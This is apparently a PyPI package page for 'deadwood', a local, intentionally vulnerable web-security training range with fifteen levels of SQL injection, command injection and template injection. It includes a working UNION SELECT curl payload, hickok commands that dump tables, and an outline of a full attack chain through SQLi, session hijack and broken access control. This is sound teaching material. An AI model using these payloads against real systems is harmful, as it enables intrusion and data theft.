A self-hosted web-security range, leveled tutorial-to-impossible — the practice town for wraith and hickok.
Project description
deadwood
A self-hosted web-security range that doubles as a tutorial — graded levels from the first trivial injection to the deliberately near-impossible. It's the practice town for the dead man's hand: scout each room with wraith, take it with hickok, capture the flag, then read the vulnerable source and the fix.
Dependency-free (stdlib + SQLite). Runs on 127.0.0.1 only.
⚠️ deadwood is intentionally vulnerable, by design. It refuses to bind anything but loopback unless you force it. Never expose it to a network, a VM bridge, or the internet. Attack only this app, on your own machine.
Install
pipx install deadwood-sec # gives you the `deadwood` command
Or from a clone: pip install -e . — or run it with no install:
PYTHONPATH=src python3 -m deadwood.
Run it
deadwood serve # http://127.0.0.1:8666 (the town map)
deadwood levels # list the rooms and your progress
deadwood learn first-blood # a level's briefing: objective, hints, source, the fix
deadwood flag first-blood 'DEADWOOD{...}' # submit a captured flag
Open the map in a browser, pick a room, and point your tools at the app URL it
gives you (e.g. http://127.0.0.1:8666/l/first-blood/app?id=1).
Take your first flag
Room 1 is a staff directory that drops your id straight into the SQL. The query
returns three columns, so a UNION SELECT of three values reads any table you
like — here, the hidden secrets:
$ deadwood serve &
$ curl -G 'http://127.0.0.1:8666/l/first-blood/app' \
--data-urlencode 'id=0 UNION SELECT 1,label,value FROM secrets'
...
DEADWOOD{first_blood_825bb8670d30d32c}
$ deadwood flag first-blood 'DEADWOOD{first_blood_825bb8670d30d32c}'
✓ First Blood — taken. that's the hand.
That's the whole loop: find the flaw, read the flag, submit it. Flags are unique
to your install, so the one above won't match yours — capture your own. Stuck?
deadwood learn first-blood walks you in, one hint at a time.
How a level works
Every room is the same shape, easy to the hard:
- a realistic app (the fictional Deadwood Telegraph & Trust Co. — employees, customers, accounts, telegrams) with one real flaw;
- a flag to capture (
DEADWOOD{...}, unique to your install); - progressive hints — reveal them one at a time, only if you want them;
- the vulnerable source and how to fix it, once you ask (spoilers).
Play blind for the CTF, or lean on the hints and learn for the tutorial. Your
captures are tracked locally.
The levels
Fifteen rooms, Tutorial → Endgame. Each maps to a technique you can practise by hand or drive with hickok/wraith:
| # | Room | Tier | Vector |
|---|---|---|---|
| 1 | First Blood | Tutorial | SQL injection — UNION (in-band) |
| 2 | Whispers | Easy | SQL injection — boolean-blind |
| 3 | The Ledger | Easy | SQL injection — error-based (extractvalue, 32-char windows) |
| 4 | The Strongbox | Medium | SQL injection — UNION (double-quote context) |
| 5 | The Telegraph | Medium | SQL injection — time-based blind |
| 6 | The Bouncer | Medium | SQL injection — authentication bypass |
| 7 | Back Door | Medium | OS command injection → shell |
| 8 | The Watchman | Hard | SQL injection — time-based (parenthesised func('…') context) |
| 9 | Sleight of Hand | Hard | UNION behind a quote/catalog filter |
| 10 | The Gauntlet | Hard | UNION behind a keyword WAF (case/comment evasion) |
| 11 | The Cipher | Hard | Server-side template injection → RCE |
| 12 | The Annex | Brutal | SQL injection — cross-database (ATTACH) |
| 13 | Dead Man's Hand | Brutal | Blind injection behind a WAF denylist |
| 14 | The Vault | Impossible | Second-order (stored) SQL injection |
| 15 | The Whole Hand | Endgame | Full chain — recon → SQLi → session pivot → BAC → the vault |
The world behind the rooms is deliberately the edge-case data a real dump hits, not
a toy table: NULL cells that drop rows from a naive dump, a group_concat
capped at 1024 bytes like MySQL, values longer than 32 chars, unicode,
and a second ATTACHed database. That's where a tool's real bugs show up.
Pairing with wraith & hickok
deadwood is the range the tools grew up on. Scout the whole town, then take it:
deadwood serve & # the town
wraith 127.0.0.1:8666 --sessions examples/deadwood_sessions.json # recon the whole surface
hickok sql -u 'http://127.0.0.1:8666/l/first-blood/app?id=1' -p id --dump secrets
The Whole Hand (room 15) is the live company app, end to end: recon it with wraith — it lights the IDOR, the broken access control, the XSS, the open redirect, the reflective CORS, the missing headers and the injectable directory — then dump the sessions table with hickok, ride a live admin token to the vault. SQLi → a real credential → broken access control → the house's deepest secret. A genuine discovery, on the one target that's yours.
When a tool can't take a room, that's a bug to fix in the tool; when a room is too easy, that's a room to harden. They sharpen each other.
Tests
pip install -e ".[dev]" && pytest
The suite checks the engine (flags, registry, per-level isolation, the seeded world) and that each level's flaw behaves as taught. See CONTRIBUTING.md to add a room and SECURITY.md for the responsible-use policy.
License
MIT.
Deadwood, 1876 — where the dead man's hand was dealt.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file deadwood_sec-0.5.3.tar.gz.
File metadata
- Download URL: deadwood_sec-0.5.3.tar.gz
- Upload date:
- Size: 49.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
6b0666dc65e79c541d5e47827ca5795a2981f8fe040a952250ff5bfa79df18bb
|
|
| MD5 |
b11b4232413a09ade9608d83463e4b5d
|
|
| BLAKE2b-256 |
21149355960372394bf1bd84b874de72b0e8cfca340d30001ae12a8b390baa08
|
Provenance
The following attestation bundles were made for deadwood_sec-0.5.3.tar.gz:
Publisher:
release.yml on gusta-ve/deadwood
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
deadwood_sec-0.5.3.tar.gz -
Subject digest:
6b0666dc65e79c541d5e47827ca5795a2981f8fe040a952250ff5bfa79df18bb - Sigstore transparency entry: 1892964250
- Sigstore integration time:
-
Permalink:
gusta-ve/deadwood@c8fac678c1a94c8e71ddc61b6989e4483d25eaf2 -
Branch / Tag:
refs/tags/v0.5.3 - Owner: https://github.com/gusta-ve
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@c8fac678c1a94c8e71ddc61b6989e4483d25eaf2 -
Trigger Event:
push
-
Statement type:
File details
Details for the file deadwood_sec-0.5.3-py3-none-any.whl.
File metadata
- Download URL: deadwood_sec-0.5.3-py3-none-any.whl
- Upload date:
- Size: 58.5 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
999cedaabbdbf85776a2330be74f79be29151eff0b49fabda1413b1a156cd6c7
|
|
| MD5 |
08cee8f3bcdb9b3edce56d0b92bdaee5
|
|
| BLAKE2b-256 |
a76fa8f77740ead2b2c0d2e529bebd636ca4c2f4a7ad1eabae7142a8996270ce
|
Provenance
The following attestation bundles were made for deadwood_sec-0.5.3-py3-none-any.whl:
Publisher:
release.yml on gusta-ve/deadwood
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
deadwood_sec-0.5.3-py3-none-any.whl -
Subject digest:
999cedaabbdbf85776a2330be74f79be29151eff0b49fabda1413b1a156cd6c7 - Sigstore transparency entry: 1892964422
- Sigstore integration time:
-
Permalink:
gusta-ve/deadwood@c8fac678c1a94c8e71ddc61b6989e4483d25eaf2 -
Branch / Tag:
refs/tags/v0.5.3 - Owner: https://github.com/gusta-ve
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@c8fac678c1a94c8e71ddc61b6989e4483d25eaf2 -
Trigger Event:
push
-
Statement type: